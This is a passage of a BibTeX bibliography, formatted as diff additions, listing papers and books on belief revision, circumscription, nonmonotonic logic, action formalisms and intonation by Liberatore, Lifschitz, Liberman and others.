li_j:1998a, + author = {Jun Li}, + title = {A Note on Partial Meet Package Contraction}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {2}, + pages = {139--142}, + topic = {belief-revision;} + } + +@article{ li_lw:1994a, + author = {Liwu Li}, + title = {Possible Worlds Semantics and Autoepistemic Reasoning}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {71}, + number = {2}, + pages = {281--320}, + topic = {autoepistemic-logic;} + } + +@inproceedings{ li_rw-pereira_lm:1996a, + author = {Renwei Li and Lu\'is Moniz Pereira}, + title = {What is Believed Is What is Explained (Sometimes)}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {550--555}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {temporal-reasoning;database-update;abduction;} + } + +@inproceedings{ li_zo-dambrosio:1993a, + author = {Zhaoyu Li and Bruce D'Ambrision}, + title = {An Efficient Approach for Finding the {MPE} in + Belief Networks}, + booktitle = {Proceedings of the + 9th Conference on Uncertainty in Artificial Intelligence + (UAI93)}, + year = {1993}, + editor = {David E. Heckerman and Abe Mamdani}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {342--349}, + topic = {probabilistic-reasoning;Bayesian-networks;} + } + +@article{ liau-lin_bip:1992a, + author = {Churn Jung Liau and Bertrand I-Peng Lin}, + title = {Abstract Minimality and Circumscription}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {54}, + number = {3}, + pages = {381--396}, + topic = {circumscription;nonmonotonic-logic;} + } + +@article{ liau_cj-lin_bip:1996a, + author = {Churn-Jung Liau and Bertrand I-Peng Lin}, + title = {Possibilistic Reasoning---A Mini-Survey and Uniform + Semantics}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {88}, + number = {1--2}, + pages = {163--193}, + acontentnote = {Abstract: + In this paper, we survey some quantitative and qualitative + approaches to uncertainty management based on possibility theory + and present a logical framework to integrate them. The semantics + of the logic is based on the Dempster's rule of conditioning for + possibility theory. It is then shown that classical modal logic, + conditional logic, possibilistic logic, quantitative modal logic + and qualitative possibilistic logic are all sublogics of the + presented logical framework. In this way, we can formalize and + generalize some well-known results about possibilistic reasoning + in a uniform semantics. Moreover, our uniform framework is + applicable to nonmonotonic reasoning, approximate consequence + relation formulation, and partial consistency handling. } , + topic = {possibilistic-logic;probability-semantics;modal-logic; + conditionals;nonmonotonic-reasoning;conditioning-methods;} + } + +@article{ liau_cj:2000a, + author = {Churn-Jung Liau}, + title = {A Logical Analysis of the Relationship between Commitment + and Obligation}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {10}, + number = {2}, + pages = {237--261}, + topic = {dynamic-logic;deontic-logic;} + } + +@inproceedings{ liberatore-schaerf:1995a, + author = {Paolo Liberatore and Marco Schaerf}, + title = {Relating Belief Revision to Circumscription}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1557--1563}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + xref = {see liberatore-schaerf:1977a}, + topic = {belief-revision;circumscription;} + } + +@article{ liberatore-schaerf:1997a, + author = {Paolo Liberatore and Marco Schaerf}, + title = {Reducing Belief Revision to Circumscription (and Vice + Versa)}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {93}, + number = {1--2}, + pages = {261--296}, + topic = {belief-revision;circumscription;complexity-in-AI;kr; + krcourse;} + } + +@incollection{ liberatore:1998a, + author = {Paolo Liberatore}, + title = {On the Compatibility of Diagnosis, Planning, Reasoning + about Actions, Belief Revision, etc.}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {144--155}, + address = {San Francisco, California}, + topic = {kr;complexity-in-AI;diagnosis;planning; + belief-revision;kr-course;} + } + +@incollection{ liberatore-schaerf:1998a, + author = {Paolo Liberatore and Marco Schaerf}, + title = {The Complexity of Model Checking for Propositional + Default Logicss}, + booktitle = {{ECAI}98, Thirteenth European Conference on + Artificial Intelligence}, + publisher = {John Wiley and Sons}, + year = {1998}, + editor = {Henri Prade}, + pages = {18--22}, + address = {Chichester}, + contentnote = {The result of this note is that model checking is + Sigma^p_2 complete in general, co-NP for normal defaults with + prerequisite =T.}, + topic = {model-checking;default-logics;} + } + +@inproceedings{ liberatore:1999a, + author = {Paolo Liberatore}, + title = {{BR}e{LS}: A System for Revising, Updating, + and Merging Knowledge Bases}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Nonmonotonic Reasoning, Action and Change}, + year = {1999}, + editor = {Michael Thielscher}, + pages = {41--48}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {information-merging;} + } + +@article{ liberatore:2000a, + author = {Paolo Liberatore}, + title = {On the Complexity of Choosing the Branching Literal + in {DPLL}}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {116}, + number = {1--2}, + pages = {315--326}, + topic = {complexity-in-AI;theorem-proving;} + } + +@article{ liberatore:2000b, + author = {Paolo Liberatore}, + title = {The Complexity of Belief Update}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {119}, + number = {1--2}, + pages = {141--190}, + topic = {belief-revision;kr-complexity-analysis;complexity-in-AI;} + } + +@inproceedings{ liberatore-schaerf:2000a, + author = {Paolo Liberatore and Marco Schaerf}, + title = {{\sc Brels}: A System for the Integration of Knowledge + Bases}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {145--152}, + topic = {knowledge-integration;} + } + +@incollection{ liberatore-etal:2002a, + author = {Francesco M. Donini and Paolo Liberatore and Fabio Massacci + and Marco Scaerf}, + title = {Solving {QBF} with {SMV}}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {578--589}, + address = {San Francisco, California}, + topic = {kr;model-checking;} + } + +@inproceedings{ liberman:1973a, + author = {Mark Liberman}, + title = {Alternatives}, + booktitle = {Proceedings of the Ninth Regional Meeting of the + Chicago Linguistics Society}, + year = {1973}, + pages = {346--355}, + publisher = {Chicago Linguistics Society}, + address = {Chicago University, Chicago, Illinois}, + missinginfo = {editor}, + topic = {alternatives;intonation;} + } + +@inproceedings{ liberman-sag:1974a, + author = {Mark Liberman and Ivan Sag}, + title = {Prosodic Effects on Discourse Function}, + booktitle = {Papers from the Tenth Regional Meeting of the + {C}hicago Linguistic Society}, + year = {1974}, + editor = {Michael LaGaly and Robert A. Fox and Anthony Bruck}, + pages = {416--427}, + organization = {Chicago Linguistic Society}, + publisher = {Chicago Linguistic Society}, + address = {Goodspeed Hall, 1050 East 59th Street, Chicago, Illinois}, + topic = {intonation;prosody;discourse;pragmatics;} + } + +@book{ liberman:1979a, + author = {Mark Liberman}, + title = {The Intonational System of {E}nglish}, + publisher = {Garland}, + year = {1979}, + address = {New York}, + topic = {intonation;prosody;} + } + +@incollection{ liberman-sproat:1992a, + author = {Mark Liberman and Richard Sproat}, + title = {The Stress and Structure of Modified Noun Phrases in + {E}nglish}, + booktitle = {Lexical Matters}, + publisher = {Center for the Study of Language and Information}, + year = {1992}, + editor = {Ivan A. Sag and Anna Szabolcsi}, + pages = {1--29}, + address = {Stanford, California}, + topic = {noun-phrases;intonation;} + } + +@incollection{ lichtenstein-etal:1985a, + author = {O. Lichtenstein and Amir Pnuelli and L. Zuck}, + title = {The Glory of the Past}, + booktitle = {Logics of Programs: Brooklyn, June 17--19, + 1985 Proceedings}, + publisher = {Springer-Verlag}, + year = {1985}, + editor = {Rohit Parikh}, + pages = {196--218}, + address = {Berlin}, + topic = {temporal-logic;program-verification;} + } + +@incollection{ lieb:1971a, + author = {Hans-Heinrich Lieb}, + title = {On Subdividing Semiotic}, + booktitle = {Pragmatics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1971}, + editor = {Yehoshua Bar-Hillel}, + pages = {94--119}, + address = {Dordrecht}, + topic = {pragmatics;} + } + +@incollection{ lieb:1976a, + author = {Hans-Heinrich Lieb}, + title = {On Relating Pragmatics, Linguistics, and Non-Semantic + Disciplines}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {217--249}, + address = {Dordrecht}, + topic = {pragmatics;philosophy-of-linguistics;} + } + +@book{ lieber:1981a, + author = {Rochelle Lieber}, + title = {On the Organization of the Lexicon}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {morphology;lexicon;} + } + +@incollection{ lieber-napoli:1998a, + author = {Justine Lieber and Amedeo Napoli}, + title = {Correct and Complete Retrieval for Case-Based + Problem-Solving}, + booktitle = {{ECAI}98, Thirteenth European Conference on + Artificial Intelligence}, + publisher = {John Wiley and Sons}, + year = {1998}, + editor = {Henri Prade}, + pages = {68--72}, + address = {Chichester}, + topic = {case-based-reasoning;} + } + +@inproceedings{ lifschitz:1984a, + author = {Vladimir Lifschitz}, + title = {Some Results on Circumscription}, + booktitle = {Proceedings of the First Non-Monotonic Reasoning Workshop}, + year = {1984}, + pages = {151--164}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {editor}, + topic = {nonmonotonic-logic;circumscription;} + } + +@article{ lifschitz:1985a1, + author = {Vladimir Lifschitz}, + title = {Closed-World Databases and Circumscription}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {27}, + number = {2}, + pages = {229--235}, + xref = {Republication: lifschitz:1985a2.}, + topic = {applied-nonmonotonic-reasoning;closed-world-reasoning; + circumscription;nonmonotonic-reasoning;kr-course;} + } + +@incollection{ lifschitz:1985a2, + author = {Vladimir Lifschitz}, + title = {Closed-World Databases and Circumscription}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {334--336}, + address = {Los Altos, California}, + xref = {Original Publication: lifschitz:1985a1.}, + topic = {applied-nonmonotonic-reasoning;closed-world-reasoning;} + } + +@inproceedings{ lifschitz:1985b1, + author = {Vladimir Lifschitz}, + title = {Computing Circumscription}, + booktitle = {Proceedings of the Ninth International Joint + Conference on Artificial Intelligence}, + year = {1985}, + editor = {Arivind Joshi}, + pages = {121--127}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + xref = {Republication: lifschitz:1985b2.}, + topic = {circumscription;nonmonotonic-logic;nonmonotonic-reasoning;} + } + +@incollection{ lifschitz:1985b2, + author = {Vladimir Lifschitz}, + title = {Computing Circumscription}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {167--173}, + address = {Los Altos, California}, + xref = {Original Publication: lifschitz:1985b1.}, + topic = {circumscription;nonmonotonic-logic;nonmonotonic-reasoning;} + } + +@inproceedings{ lifschitz:1986a, + author = {Vladimir Lifschitz}, + title = {Pointwise Circumscription: Preliminary Report}, + booktitle = {Proceedings of the Fifth National Conference on + Artificial Intelligence}, + year = {1986}, + editor = {Tom Kehler and Stan Rosenschein}, + pages = {121--127}, + organization = {American Association for Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + xref = {Superseded by lifschitz:1986d1.}, + topic = {circumscription;nonmonotonic-logic;temporal-reasoning; + Yale-shooting-problem;} + } + +@incollection{ lifschitz:1986c1, + author = {Vladimir Lifschitz}, + title = {On the Semantics of {\sc strips}}, + booktitle = {Reasoning about Actions and Plans}, + publisher = {Morgan Kaufmann}, + year = {1986}, + editor = {Michael P. Georgeff and Amy Lansky}, + pages = {1--9}, + address = {Los Altos, California}, + xref = {Reprinted in allen-etal:1990a, see lifschitz:1986c2.}, + topic = {action-formalisms;planning;foundations-of-planning;} + } + +@incollection{ lifschitz:1986c2, + author = {Vladimir Lifschitz}, + title = {On the Semantics of {\sc strips}}, + booktitle = {Readings in Planning}, + publisher = {Morgan Kaufmann}, + year = {1990}, + editor = {James F. Allen and James Hendler and Austin Tate}, + pages = {523--530}, + address = {San Mateo, California}, + xref = {Reprint of lifschitz:1986c.}, + topic = {kr;foundations-of-planning;action;kr-course;} + } + +@inproceedings{ lifschitz:1986d1, + author = {Vladimir Lifschitz}, + title = {Pointwise circumscription}, + booktitle = {Proceedings of the Fifth National Conference on + Artificial Intelligence}, + year = {1986}, + editor = {Tom Kehler and Stan Rosenschein}, + pages = {406--410}, + organization = {American Association for Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + xref = {Republication: lifschitz:1986d2.}, + topic = {circumscription;nonmonotonic-logic;temporal-reasoning; + Yale-shooting-problem;} + } + +@incollection{ lifschitz:1986d2, + author = {Vladimir Lifschitz}, + title = {Pointwise Circumscription}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + address = {Los Altos, California}, + pages = {179--193}, + contentnote = {This is one of 3 formulations of a chronological + minimization solutuon to the YSP.}, + xref = {Conference Publication: lifschitz:1986d1.}, + topic = {circumscription;nonmonotonic-logic;temporal-reasoning; + Yale-shooting-problem;} + } + +@article{ lifschitz:1986e, + author = {Vladimir Lifschitz}, + title = {On the Satisfiability of Circumscription}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {28}, + number = {1}, + pages = {17--27}, + topic = {circumscription;} + } + +@inproceedings{ lifschitz:1987a, + author = {Vladimir Lifschitz}, + title = {Benchmark Problems for Non-Monotonic Formal Reasoning, + Version 2.00}, + booktitle = {Second International Workshop on Non-Monotonic Reasoning}, + year = {1987}, + editor = {Michael Reinfrank and Johan de Kleer and Eric Sandewall}, + pages = {202--219}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {nonmonotonic-reasoning;} + } + +@incollection{ lifschitz:1987a2, + author = {Vladimir Lifschitz}, + title = {On the Declarative Semantics of Logic + Programs with Negation}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {337--350}, + address = {Los Altos, California}, + xref = {Original Publication: lifschitz:1987a1.}, + topic = {logic-programming;nonmonotonic-logic;negation-as-failure;} + } + +@inproceedings{ lifschitz:1987c, + author = {Vladimir Lifschitz}, + title = {Formal Theories of Action: Preliminary Report}, + booktitle = {Proceedings of the Tenth International Joint + Conference on Artificial Intelligence}, + year = {1987}, + editor = {John McDermott}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + missinginfo = {pages}, + topic = {action-formalisms;} + } + +@inproceedings{ lifschitz:1987d1, + author = {Vladimir Lifschitz}, + title = {Formal Theories of Action}, + booktitle = {Proceedings of the 1987 Workshop on the Frame Problem}, + editor = {Frank M. Brown}, + publisher = {Morgan Kaufmann}, + year = {1987}, + pages = {35--57}, + address = {Los Altos, California}, + xref = {Republication: lifschitz:1987d2.}, + contentnote = {This develops a causal minimization solution to + the YSP.}, + topic = {action-formalisms;Yale-shooting-problem;temporal-reasoning;} + } + +@incollection{ lifschitz:1987d2, + author = {Vladimir Lifschitz}, + title = {Formal Theories of Action}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + address = {Los Altos, California}, + pages = {410--432}, + xref = {Republication of lifschitz:1987d1.}, + contentnote = {This develops a causal minimization solution to + the YSP.}, + xref = {Republication: lifschitz:1987d2.}, + topic = {action-formalisms;Yale-shooting-problem;temporal-reasoning;} + } + +@article{ lifschitz:1988a1, + author = {Vladimir Lifschitz}, + title = {Circumscriptive Theories: A Logic-Based Framework for + Knowledge Representation}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + number = {3}, + pages = {391--441}, + xref = {Republication: lifschitz:1988a2.}, + topic = {kr;circumscription;nonmonotonic-logic;} + } + +@incollection{ lifschitz:1988a2, + author = {Vladimir Lifschitz}, + title = {Circumscriptive Theories: A Logic-Based Framework for + Knowledge Representation}, + booktitle = {Philosophical Logic and Artificial Intelligence}, + publisher = {D. Reidel Publishing Co.}, + year = {1989}, + editor = {Richmond H. Thomason}, + pages = {109--159}, + address = {Dordrecht}, + xref = {Republication of: lifschitz:1988a1.}, + topic = {kr;circumscription;nonmonotonic-logic;} + } + +@incollection{ lifschitz:1989b, + author = {Vladimir Lifschitz}, + title = {Between Circumscription and Autoepistemic Logic}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {235--244}, + address = {San Mateo, California}, + topic = {kr;circumscription;kr-course;} + } + +@article{ lifschitz-rabinov:1989a, + author = {Vladimir Lifschitz and Arkady Rabinov}, + title = {Miracles in Formal Theories of Action}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {2}, + pages = {225--237}, + topic = {action-formalisms;} + } + +@book{ lifschitz:1990b, + editor = {Vladimir Lifschitz}, + title = {Artificial Intelligence and Mathematical Theory + of Computation: Papers in Honor of {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + address = {Norwood, New Jersey}, + contentnote = {TC: + 1. David J. Israel, "A Short Sketch of the Life and Career of + John McCarthy", pp. 1--5 + 2. Robert S. Boyer and David M. Goldschag and Matt Kaufman and + J. Strother Moore, "Functional Instantiation in + First-Order Logic", pp. 7--26 + 3. Robert Cartwright, "Lambda: The Ultimate + Combinator", pp. 27--46 + 4. Solomon Feferman, "Proofs of Termination and the `91' + Function", pp. 47--63 + 5. Jerome A. Feldman, "Robots with Common Sense?", pp. 65--72 + 6. Robert E. Filman, "Ascribing Artificial Intelligence to (Simpler) + Machines, or When {AI} Meets the Real World", pp. 73--89 + 7. Richard P. Gabriel, "The Design of Parallel Programming + Languages", pp. 91--108 + 8. Chris Goad, "Metaprogramming at Work in Automated + Manufacturing", pp. 109--128 + 9. R. Wm. Gosper, "{LISP}+Calculus = Identities", pp. 129--149 + 10. Joseph Y. Halpern and Moshe W. Vardi, "Model Checking Versus + Theorem Proving: A Manifesto", pp. 151--176 + 11. Anthony C. Hearn, "Algebraic Computation: The QUiet + Revolution", pp. 177--186 + 12. Takahashi Ito, "{LISP} and Parallelism", pp. 187--206 + 13. Donald E. Knuth, "Textbook Examples of Recursion", pp. 207--229 + 14. Robert Kowalski and Jin-Sang Kim, "A Metalogic Approach to + Multi-Agent Knowledge and Belief", pp. 231--246 + 15. Hector J. Levesque, "Belief and Introspection", pp. 247--260 + 16. Zohar Manna and Mark Stickel and Richard Waldinger, "Monotonicity + Properties in Automated Deduction", pp. 247--280 + 17. Jack Minker and Jorge Lobo and Arcot Rajasekar, "Circumscription + and Disjunctive Logic Programming", pp. 281--304 + 18. John C, Mitchell, "On the Equivalence of Data + Representations", pp. 305--329 + 19. HP Moravec, "Caution! Robot Vehicle!", pp. 331--343 + 20. Peter K. Rathman and Gio Wiederhold, "Circumscription and + Authority", pp. 345--358 + 21. Raymond Reiter, "The Frame Problem in the Situation Calculus: A + Simple Solution (Sometimes) and a Completeness Result + for Goal Regression", pp. 359--380 + 22. Masahiko Sato, "An Abstraction Mechanism for Symbolic + Expressions", pp. 381--391 + 23. Yoav Shoham, "Varieties of Context", pp. 393--407 + 24. Herbert Stoyan, "The Influence of the Designer on the + Design---{J}.{M}c{C}arthy and {LISP}", pp. 409--426 + 25. Carolyn Talcutt, "Binding Structures", pp. 427--448 + 26. Richmond H. Thomason, "Logicism, Artificial Intelligence, and + Common Sense: {J}ohn {M}c{C}arthy's Program in + Philosophical Perspective", pp. 449--466 + 27. Richard Weyhrauch, "The Incorrectnesss of the Bisection + Algorithm", pp. 467--468 + }, + topic = {J-McCarthy;common-sense;} + } + +@book{ lifschitz:1990c, + editor = {Vladimir Lifschitz}, + title = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + address = {Norwood, New Jersey}, + contentnote = {TC: + 1. Vladimir Lifschitz, "Understanding Common Sense: {M}c{C}arthy's + Research in Artificial Intelligence", pp. 1--8 + 2. John McCarthy, "Programs with Common Sense", pp. 9--20 + 3. John McCarthy and Patrick Hayes, "Some Philosophical Problems + from the Standpoint of Artificial + Intelligence", pp. 21--63 + 4. John McCarthy, "Review of `Artificial Intelligence: A + General Survey{'}", pp. 64--69 + 5. John McCarthy, "An Example for Natural Language Understanding + and the {AI} Problems It Raises", pp. 70--76 + 6. John McCarthy, "Epistemological Problems of Artificial + Intelligence", pp. 77--92 + 7. John McCarthy, "Ascribing Mental Qualities to + Machines", pp. 93--118 + 8. John McCarthy, "First Order Theories of Individual Concepts and + Propositions", pp. 119--141 + 9. John McCarthy, "Circumscription--A Form of Nonmonotonic + Reasoning", pp. 142--157 + 10. John McCarthy, "Formalization of Two Puzzles Involving + Knowledge", pp. 158--166 + 11. John McCarthy, "Coloring Maps and the Kowalski + Doctrine", pp. 167--178 + 12. John McCarthy, "The Common Business Communication + Language", pp. 179--188 + 13. John McCarthy, "The Little Thoughts of Thinking Machines", + pp. 179--186 + 14. John McCarthy, "{AI} Needs More Emphasis on Basic Research", + pp. 187--188 + 15. John McCarthy, "Some Expert Systems Need Common + Sense", pp. 189--197 + 16. John McCarthy, "Applications of Circumscription to + Formalizing Common Sense", pp. 198--225 + 17. John McCarthy, "Generality in Artificial Intelligence", pp. + 226--236 + 18. John McCarthy, "Mathematical Logic in Artificial + Intelligence", pp. 237--249 + } , + xref = {Reviews: akman:1995a,marek:1993a,giunchiglia_f:1994a, + giunchiglia_f:1995a,giunchiglia_f:1995b}, + topic = {AI-classics;circumscription;J-McCarthy;common-sense;kr;} + } + +@incollection{ lifschitz:1990d, + author = {Vladimir Lifschitz}, + title = {Understanding Common Sense: {M}c{C}arthy's + Research in Artificial Intelligence}, + booktitle = {Formalizing Common Sense: Papers by {J}ohn {M}c{C}arthy}, + publisher = {Ablex Publishing Corporation}, + year = {1990}, + editor = {Vladimir Lifschitz}, + pages = {1--8}, + address = {Norwood, New Jersey}, + xref = {Review: akman:1995a.}, + topic = {J-McCarthy;common-sense;kr;} + } + +@article{ lifschitz:1990e, + author = {Vladimir Lifschitz}, + title = {Frames in the Space of Situations}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {46}, + number = {3}, + pages = {365--376}, + topic = {situation-calculus;temporal-reasoning;fluents;} + } + +@incollection{ lifschitz:1991a, + author = {Vladimir Lifschitz}, + title = {Towards a Metatheory of Action}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James Allen and Richard Fikes and Erik Sandewall}, + pages = {376--386}, + address = {San Mateo, California}, + topic = {kr;action;foundations-of-planning;situation-calculus; + circumscription;} + } + +@incollection{ lifschitz-woo:1992a, + author = {Vladimir Lifschitz and T. Woo}, + title = {Answer Sets in General Nonmonotonic Reasoning + (Preliminary Report)}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {603--614}, + address = {San Mateo, California}, + topic = {nonmonotonic-reasoning;kr;logic-programming; + nonmonotonic-logic;} + } + +@inproceedings{ lifschitz:1993a, + author = {Vladimir Lifschitz}, + title = {Restricted Monotonicity}, + booktitle = {Proceedings of the Eleventh National Conference on + Artificial Intelligence}, + year = {1993}, + editor = {Richard Fikes and Wendy Lehnert}, + pages = {432--437}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {nonmonotonic-reasoning;} + } + +@inproceedings{ lifschitz-schwartz:1993a, + author = {Vladimir Lifschitz and Grigiri Schwartz}, + title = {Extended Logic Programs as Autoepistemic Theories}, + booktitle = {Proceedings of the Second International Conference on + Logic Programming and Nonmonotonic Reasoning}, + year = {1993}, + pages = {101--114}, + missinginfo = {editor, publisher, organization, address}, + topic = {extended-logic-programming;autoepistemic-logic;} + } + +@article{ lifschitz:1994a, + author = {Vladimir Lifschitz}, + title = {Minimal Belief and Negation as Failure}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {70}, + pages = {53--72}, + number = {1--2}, + topic = {nonmonotonic-logic;autoepistemic-logic;negation-as-failure;} + } + +@incollection{ lifschitz:1994b, + author = {Vladimir Lifschitz}, + title = {Circumscription}, + booktitle = {Handbook of Logic in Artificial Intelligence + and Logic Programming, Volume 3: Nonmonotonic + Reasoning and Uncertain Reasoning}, + publisher = {Oxford University Press}, + year = {1994}, + editor = {Dov Gabbay and Christopher J. Hogger and J. A. Robinson}, + pages = {298--352}, + topic = {circumscription;nonmonotonic-logic;} + } + +@article{ lifschitz:1995a, + author = {Vladimir Lifschitz}, + title = {The Logic of Common Sense}, + journal = {{ACM} Computing Surveys}, + year = {1995}, + volume = {27}, + pages = {343--345}, + missinginfo = {number}, + topic = {common-sense-logicism;} + } + +@article{ lifschitz:1995b, + author = {Vladimir Lifschitz}, + title = {Nested Abnormality Theories}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {74}, + number = {2}, + pages = {351--365}, + topic = {nonmonotonic-logic;lcircumscription;} + } + +@incollection{ lifschitz-turner_h:1995a, + author = {Vladimir Lifschitz and Hudson Turner}, + title = {From Disjunctive Programs to Abduction}, + booktitle = {Non-Monotonic Extensions of Logic Programming}, + publisher = {Springer-Verlag}, + year = {1995}, + pages = {23--42}, + address = {Berlin}, + missinginfo = {editor}, + topic = {disjunctive-logic-programming;abduction;} + } + +@inproceedings{ lifschitz:1996a1, + author = {Vladimir Lifschitz}, + title = {Two Components of an Action Language}, + booktitle = {Working Papers: Common Sense '96}, + year = {1996}, + editor = {Sa\v{s}a Buva\v{c} and Tom Costello}, + pages = {89--95}, + publisher = {Computer Science Department, Stanford University}, + address = {Stanford University}, + note = {Consult http://www-formal.Stanford.edu/tjc/96FCS.}, + xref = {Journal publication: lifschitz:1996a2}, + topic = {kr;action-formalisms;causality;action-effects;kr-course;} + } + +@article{ lifschitz:1996a2, + author = {Vladimir Lifschitz}, + title = {Two Components of an Action Language}, + journal = {Annals of Mathematics and Artificial Intelligence}, + year = {1997}, + volume = {21}, + pages = {305--320}, + missinginfo = {number}, + xref = {Republication of: lifschitz:1996a1}, + topic = {kr;action-formalisms;causality;action-effects;kr-course;} + } + +@incollection{ lifschitz:1996b, + author = {Vladimir Lifschitz}, + title = {Foundations of Logic Programming}, + booktitle = {Principles of Knowledge Representation}, + publisher = {{CSLI} Publications}, + year = {1996}, + editor = {Gerhard Brewka}, + pages = {69--127}, + address = {Stanford, California}, + topic = {logic-programming;} + } + +@incollection{ lifschitz:1996c, + author = {Vladimir Lifschitz}, + title = {Foundations of Logic Programming}, + booktitle = {Principles of Knowledge Representation}, + publisher = {{CSLI} Publications}, + year = {1996}, + editor = {Gerhard Brewka}, + pages = {69--127}, + address = {Stanford, California}, + topic = {logic-programming;} + } + +@article{ lifschitz:1997a, + author = {Vladimir Lifschitz}, + title = {On the Logic of Causal Explanation}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {96}, + number = {2}, + pages = {451--465}, + topic = {causality;circumscription;action-formalisms;} + } + +@incollection{ lifschitz:1998a, + author = {Vladimir Lifschitz}, + title = {Situation Calculus and Causal Logic}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {536--546}, + address = {San Francisco, California}, + topic = {kr;temporal-reasoning;action-formalisms; + causality;kr-course;} + } + +@inproceedings{ lifschitz:1998b, + author = {Vladimir Lifschitz}, + title = {Situation Calculus and Causal Logic}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Prospects for a Commonsense Theory of Causation}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + editor = {Charles L. {Ortiz, Jr.}}, + pages = {31--37}, + topic = {causality;temporal-reasoning;planning-formalisms; + nonmonotonic-reasoning;situation-calculus;} + } + +@inproceedings{ lifschitz:1999a, + author = {Vladimir Lifschitz}, + title = {A Causal Language for Describing Actions}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {causality;action-formalisms;} + } + +@inproceedings{ lifschitz:2000a, + author = {Vladimir Lifschitz}, + title = {Missionaries and Cannibals in the Causal Calculator}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {85--96}, + topic = {planning-formalisms;macro-formalization;elaboration-tolerance;} + } + +@article{ lifschitz:2000b, + author = {Vladimir Lifschitz}, + title = {Review of {\it Solving the 